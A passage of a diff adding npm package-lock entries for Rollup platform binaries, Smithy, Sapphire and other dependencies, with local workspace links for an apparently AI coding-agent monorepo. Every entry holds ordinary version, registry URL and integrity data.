"MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz", + "integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz", + "integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz", + "integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz", + "integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz", + "integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz", + "integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz", + "integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz", + "integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz", + "integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz", + "integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz", + "integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz", + "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz", + "integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz", + "integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz", + "integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz", + "integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz", + "integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz", + "integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz", + "integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@sapphire/async-queue": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@sapphire/async-queue/-/async-queue-1.5.5.tgz", + "integrity": "sha512-cvGzxbba6sav2zZkH8GPf2oGk9yYoD5qrNWdu9fRehifgnFZJMV+nuy2nON2roRO4yQQ+v7MK/Pktl/HgfsUXg==", + "license": "MIT", + "engines": { + "node": ">=v14.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/@sapphire/shapeshift": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@sapphire/shapeshift/-/shapeshift-4.0.0.tgz", + "integrity": "sha512-d9dUmWVA7MMiKobL3VpLF8P2aeanRTu6ypG2OIaEv/ZHH/SUQ2iHOVyi5wAPjQ+HmnMuL0whK9ez8I/raWbtIg==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "lodash": "^4.17.21" + }, + "engines": { + "node": ">=v16" + } + }, + "node_modules/@sapphire/snowflake": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/@sapphire/snowflake/-/snowflake-3.5.3.tgz", + "integrity": "sha512-jjmJywLAFoWeBi1W7994zZyiNWPIiqRRNAmSERxyg93xRGzNYvGjlZ0gR6x0F4gPRi2+0O6S71kOZYyr3cxaIQ==", + "license": "MIT", + "engines": { + "node": ">=v14.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/@sec-ant/readable-stream": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@sec-ant/readable-stream/-/readable-stream-0.4.1.tgz", + "integrity": "sha512-831qok9r2t8AlxLko40y2ebgSDhenenCatLVeW/uBtnHPyhHOvG0C7TvfgecV+wHzIm5KUICgzmVpWS+IMEAeg==", + "license": "MIT" + }, + "node_modules/@selderee/plugin-htmlparser2": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@selderee/plugin-htmlparser2/-/plugin-htmlparser2-0.11.0.tgz", + "integrity": "sha512-P33hHGdldxGabLFjPPpaTxVolMrzrcegejx+0GxjrIb9Zv48D8yAIA/QTDR2dFl7Uz7urX8aX6+5bCZslr+gWQ==", + "license": "MIT", + "dependencies": { + "domhandler": "^5.0.3", + "selderee": "^0.11.0" + }, + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, + "node_modules/@silvia-odwyer/photon-node": { + "version": "0.3.4", + "resolved": "https://registry.npmjs.org/@silvia-odwyer/photon-node/-/photon-node-0.3.4.tgz", + "integrity": "sha512-bnly4BKB3KDTFxrUIcgCLbaeVVS8lrAkri1pEzskpmxu9MdfGQTy8b8EgcD83ywD3RPMsIulY8xJH5Awa+t9fA==", + "license": "Apache-2.0" + }, + "node_modules/@simple-git/args-pathspec": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@simple-git/args-pathspec/-/args-pathspec-1.0.3.tgz", + "integrity": "sha512-ngJMaHlsWDTfjyq9F3VIQ8b7NXbBLq5j9i5bJ6XLYtD6qlDXT7fdKY2KscWWUF8t18xx052Y/PUO1K1TRc9yKA==", + "license": "MIT" + }, + "node_modules/@simple-git/argv-parser": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@simple-git/argv-parser/-/argv-parser-1.1.1.tgz", + "integrity": "sha512-Q9lBcfQ+VQCpQqGJFHe5yooOS5hGdLFFbJ5R+R5aDsnkPCahtn1hSkMcORX65J2Z5lxSkD0lQorMsncuBQxYUw==", + "license": "MIT", + "dependencies": { + "@simple-git/args-pathspec": "^1.0.3" + } + }, + "node_modules/@sinclair/typebox": { + "version": "0.34.49", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.49.tgz", + "integrity": "sha512-brySQQs7Jtn0joV8Xh9ZV/hZb9Ozb0pmazDIASBkYKCjXrXU3mpcFahmK/z4YDhGkQvP9mWJbVyahdtU5wQA+A==", + "license": "MIT" + }, + "node_modules/@sindresorhus/merge-streams": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/merge-streams/-/merge-streams-4.0.0.tgz", + "integrity": "sha512-tlqY9xq5ukxTUZBmoOp+m61cqwQD5pHJtFY3Mn8CA8ps6yghLH/Hw8UPdqg4OLmFW3IFlcXnQNmo/dh8HzXYIQ==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@singularity-forge/agent-core": { + "resolved": "packages/agent-core", + "link": true + }, + "node_modules/@singularity-forge/ai": { + "resolved": "packages/ai", + "link": true + }, + "node_modules/@singularity-forge/coding-agent": { + "resolved": "packages/coding-agent", + "link": true + }, + "node_modules/@singularity-forge/daemon": { + "resolved": "packages/daemon", + "link": true + }, + "node_modules/@singularity-forge/engine-darwin-arm64": { + "optional": true + }, + "node_modules/@singularity-forge/engine-darwin-x64": { + "optional": true + }, + "node_modules/@singularity-forge/engine-linux-arm64-gnu": { + "optional": true + }, + "node_modules/@singularity-forge/engine-linux-x64-gnu": { + "optional": true + }, + "node_modules/@singularity-forge/engine-win32-x64-msvc": { + "optional": true + }, + "node_modules/@singularity-forge/google-gemini-cli-provider": { + "resolved": "packages/google-gemini-cli-provider", + "link": true + }, + "node_modules/@singularity-forge/native": { + "resolved": "packages/native", + "link": true + }, + "node_modules/@singularity-forge/rpc-client": { + "resolved": "packages/rpc-client", + "link": true + }, + "node_modules/@singularity-forge/tui": { + "resolved": "packages/tui", + "link": true + }, + "node_modules/@smithy/config-resolver": { + "version": "4.4.17", + "resolved": "https://registry.npmjs.org/@smithy/config-resolver/-/config-resolver-4.4.17.tgz", + "integrity": "sha512-TzDZcAnhTyAHbXVxWZo7/tEcrIeFq20IBk8So3OLOetWpR8EwY/yEqBMBFaJMeyEiREDq4NfEl+qO3OAUD+vbQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/node-config-provider": "^4.3.14", + "@smithy/types": "^4.14.1", + "@smithy/util-config-provider": "^4.2.2", + "@smithy/util-endpoints": "^3.4.2", + "@smithy/util-middleware": "^4.2.14", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/core": { + "version": "3.24.0", + "resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.24.0.tgz", + "integrity": "sha512-rZ5YfycIXX6puoGjthnDiMpUgtKNOq3c7CndQYkCNYQTv26AiCrZQOJPy7ANSfZ6Okk3UvCRnmO1OYWlLnYZgg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/crc32": "5.2.0", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/credential-provider-imds": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.2.14.tgz", + "integrity": "sha512-Au28zBN48ZAoXdooGUHemuVBrkE+Ie6RPmGNIAJsFqj33Vhb6xAgRifUydZ2aY+M+KaMAETAlKk5NC5h1G7wpg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/node-config-provider": "^4.3.14", + "@smithy/property-provider": "^4.2.14", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/eventstream-codec": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-codec/-/eventstream-codec-4.2.14.tgz", + "integrity": "sha512-erZq0nOIpzfeZdCyzZjdJb4nVSKLUmSkaQUVkRGQTXs30gyUGeKnrYEg+Xe1W5gE3aReS7IgsvANwVPxSzY6Pw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/crc32": "5.2.0", + "@smithy/types": "^4.14.1", + "@smithy/util-hex-encoding": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/eventstream-serde-browser": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-browser/-/eventstream-serde-browser-4.2.14.tgz", + "integrity": "sha512-8IelTCtTctWRbb+0Dcy+C0aICh1qa0qWXqgjcXDmMuCvPJRnv26hiDZoAau2ILOniki65mCPKqOQs/BaWvO4CQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/eventstream-serde-universal": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/eventstream-serde-config-resolver": { + "version": "4.3.14", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-config-resolver/-/eventstream-serde-config-resolver-4.3.14.tgz", + "integrity": "sha512-sqHiHpYRYo3FJlaIxD1J8PhbcmJAm7IuM16mVnwSkCToD7g00IBZzKuiLNMGmftULmEUX6/UAz8/NN5uMP8bVA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/eventstream-serde-node": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-node/-/eventstream-serde-node-4.2.14.tgz", + "integrity": "sha512-Ht/8BuGlKfFTy0H3+8eEu0vdpwGztCnaLLXtpXNdQqiR7Hj4vFScU3T436vRAjATglOIPjJXronY+1WxxNLSiw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/eventstream-serde-universal": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/eventstream-serde-universal": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-universal/-/eventstream-serde-universal-4.2.14.tgz", + "integrity": "sha512-lWyt4T2XQZUZgK3tQ3Wn0w3XBvZsK/vjTuJl6bXbnGZBHH0ZUSONTYiK9TgjTTzU54xQr3DRFwpjmhp0oLm3gg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/eventstream-codec": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/fetch-http-handler": { + "version": "5.3.17", + "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.3.17.tgz", + "integrity": "sha512-bXOvQzaSm6MnmLaWA1elgfQcAtN4UP3vXqV97bHuoOrHQOJiLT3ds6o9eo5bqd0TJfRFpzdGnDQdW3FACiAVdw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/protocol-http": "^5.3.14", + "@smithy/querystring-builder": "^4.2.14", + "@smithy/types": "^4.14.1", + "@smithy/util-base64": "^4.3.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/hash-node": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/hash-node/-/hash-node-4.2.14.tgz", + "integrity": "sha512-8ZBDY2DD4wr+GGjTpPtiglEsqr0lUP+KHqgZcWczFf6qeZ/YRjMIOoQWVQlmwu7EtxKTd8YXD8lblmYcpBIA1g==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "@smithy/util-buffer-from": "^4.2.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/invalid-dependency": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/invalid-dependency/-/invalid-dependency-4.2.14.tgz", + "integrity": "sha512-c21qJiTSb25xvvOp+H2TNZzPCngrvl5vIPqPB8zQ/DmJF4QWXO19x1dWfMJZ6wZuuWUPPm0gV8C0cU3+ifcWuw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/is-array-buffer": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.2.2.tgz", + "integrity": "sha512-n6rQ4N8Jj4YTQO3YFrlgZuwKodf4zUFs7EJIWH86pSCWBaAtAGBFfCM7Wx6D2bBJ2xqFNxGBSrUWswT3M0VJow==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/middleware-content-length": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/middleware-content-length/-/middleware-content-length-4.2.14.tgz", + "integrity": "sha512-xhHq7fX4/3lv5NHxLUk3OeEvl0xZ+Ek3qIbWaCL4f9JwgDZEclPBElljaZCAItdGPQl/kSM4LPMOpy1MYgprpw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/middleware-endpoint": { + "version": "4.4.32", + "resolved": "https://registry.npmjs.org/@smithy/middleware-endpoint/-/middleware-endpoint-4.4.32.tgz", + "integrity": "sha512-ZZkgyjnJppiZbIm6Qbx92pbXYi1uzenIvGhBSCDlc7NwuAkiqSgS75j1czAD25ZLs2FjMjYy1q7gyRVWG6JA0Q==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.23.17", + "@smithy/middleware-serde": "^4.2.20", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-middleware": "^4.2.14", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/middleware-retry": { + "version": "4.5.7", + "resolved": "https://registry.npmjs.org/@smithy/middleware-retry/-/middleware-retry-4.5.7.tgz", + "integrity": "sha512-bRt6ZImqVSeTk39Nm81K20ObIiAZ3WefY7G6+iz/0tZjs4dgRRjvRX2sgsH+zi6iDCRR/aQvQofLKxxz4rPBZg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.23.17", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/service-error-classification": "^4.3.1", + "@smithy/smithy-client": "^4.12.13", + "@smithy/types": "^4.14.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.6", + "@smithy/uuid": "^1.1.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/middleware-serde": { + "version": "4.2.20", + "resolved": "https://registry.npmjs.org/@smithy/middleware-serde/-/middleware-serde-4.2.20.tgz", + "integrity": "sha512-Lx9JMO9vArPtiChE3wbEZ5akMIDQpWQtlu90lhACQmNOXcGXRbaDywMHDzuDZ2OkZzP+9wQfZi3YJT9F67zTQQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.23.17", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/middleware-stack": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/middleware-stack/-/middleware-stack-4.2.14.tgz", + "integrity": "sha512-2dvkUKLuFdKsCRmOE4Mn63co0Djtsm+JMh0bYZQupN1pJwMeE8FmQmRLLzzEMN0dnNi7CDCYYH8F0EVwWiPBeA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/node-config-provider": { + "version": "4.3.14", + "resolved": "https://registry.npmjs.org/@smithy/node-config-provider/-/node-config-provider-4.3.14.tgz", + "integrity": "sha512-S+gFjyo/weSVL0P1b9Ts8C/CwIfNCgUPikk3sl6QVsfE/uUuO+QsF+NsE/JkpvWqqyz1wg7HFdiaZuj5CoBMRg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/node-http-handler": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.0.tgz", + "integrity": "sha512-PxF57Jr3dPm+RgZWekOL+o96FPdaT62xZUyDfi47uMRFi5rHpwO/ewFbrztrASQ/7H8moNi1sspIHihHpfoKsQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.24.0", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/property-provider": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/property-provider/-/property-provider-4.2.14.tgz", + "integrity": "sha512-WuM31CgfsnQ/10i7NYr0PyxqknD72Y5uMfUMVSniPjbEPceiTErb4eIqJQ+pdxNEAUEWrewrGjIRjVbVHsxZiQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/protocol-http": { + "version": "5.3.14", + "resolved": "https://registry.npmjs.org/@smithy/protocol-http/-/protocol-http-5.3.14.tgz", + "integrity": "sha512-dN5F8kHx8RNU0r+pCwNmFZyz6ChjMkzShy/zup6MtkRmmix4vZzJdW+di7x//b1LiynIev88FM18ie+wwPcQtQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/querystring-builder": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/querystring-builder/-/querystring-builder-4.2.14.tgz", + "integrity": "sha512-XYA5Z0IqTeF+5XDdh4BBmSA0HvbgVZIyv4cmOoUheDNR57K1HgBp9ukUMx3Cr3XpDHHpLBnexPE3LAtDsZkj2A==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "@smithy/util-uri-escape": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/querystring-parser": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/querystring-parser/-/querystring-parser-4.2.14.tgz", + "integrity": "sha512-hr+YyqBD23GVvRxGGrcc/oOeNlK3PzT5Fu4dzrDXxzS1LpFiuL2PQQqKPs87M79aW7ziMs+nvB3qdw77SqE7Lw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/service-error-classification": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@smithy/service-error-classification/-/service-error-classification-4.3.1.tgz", + "integrity": "sha512-aUQuDGh760ts/8MU+APjIZhlLPKhIIfqyzZaJikLEIMrdxFvxuLYD0WxWzaYWpmLbQlXDe9p7EWM3HsBe0K6Gw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/shared-ini-file-loader": { + "version": "4.4.9", + "resolved": "https://registry.npmjs.org/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.4.9.tgz", + "integrity": "sha512-495/V2I15SHgedSJoDPD23JuSfKAp726ZI1V0wtjB07Wh7q/0tri/0e0DLefZCHgxZonrGKt/OCTpAtP1wE1kQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/signature-v4": { + "version": "5.3.14", + "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.3.14.tgz", + "integrity": 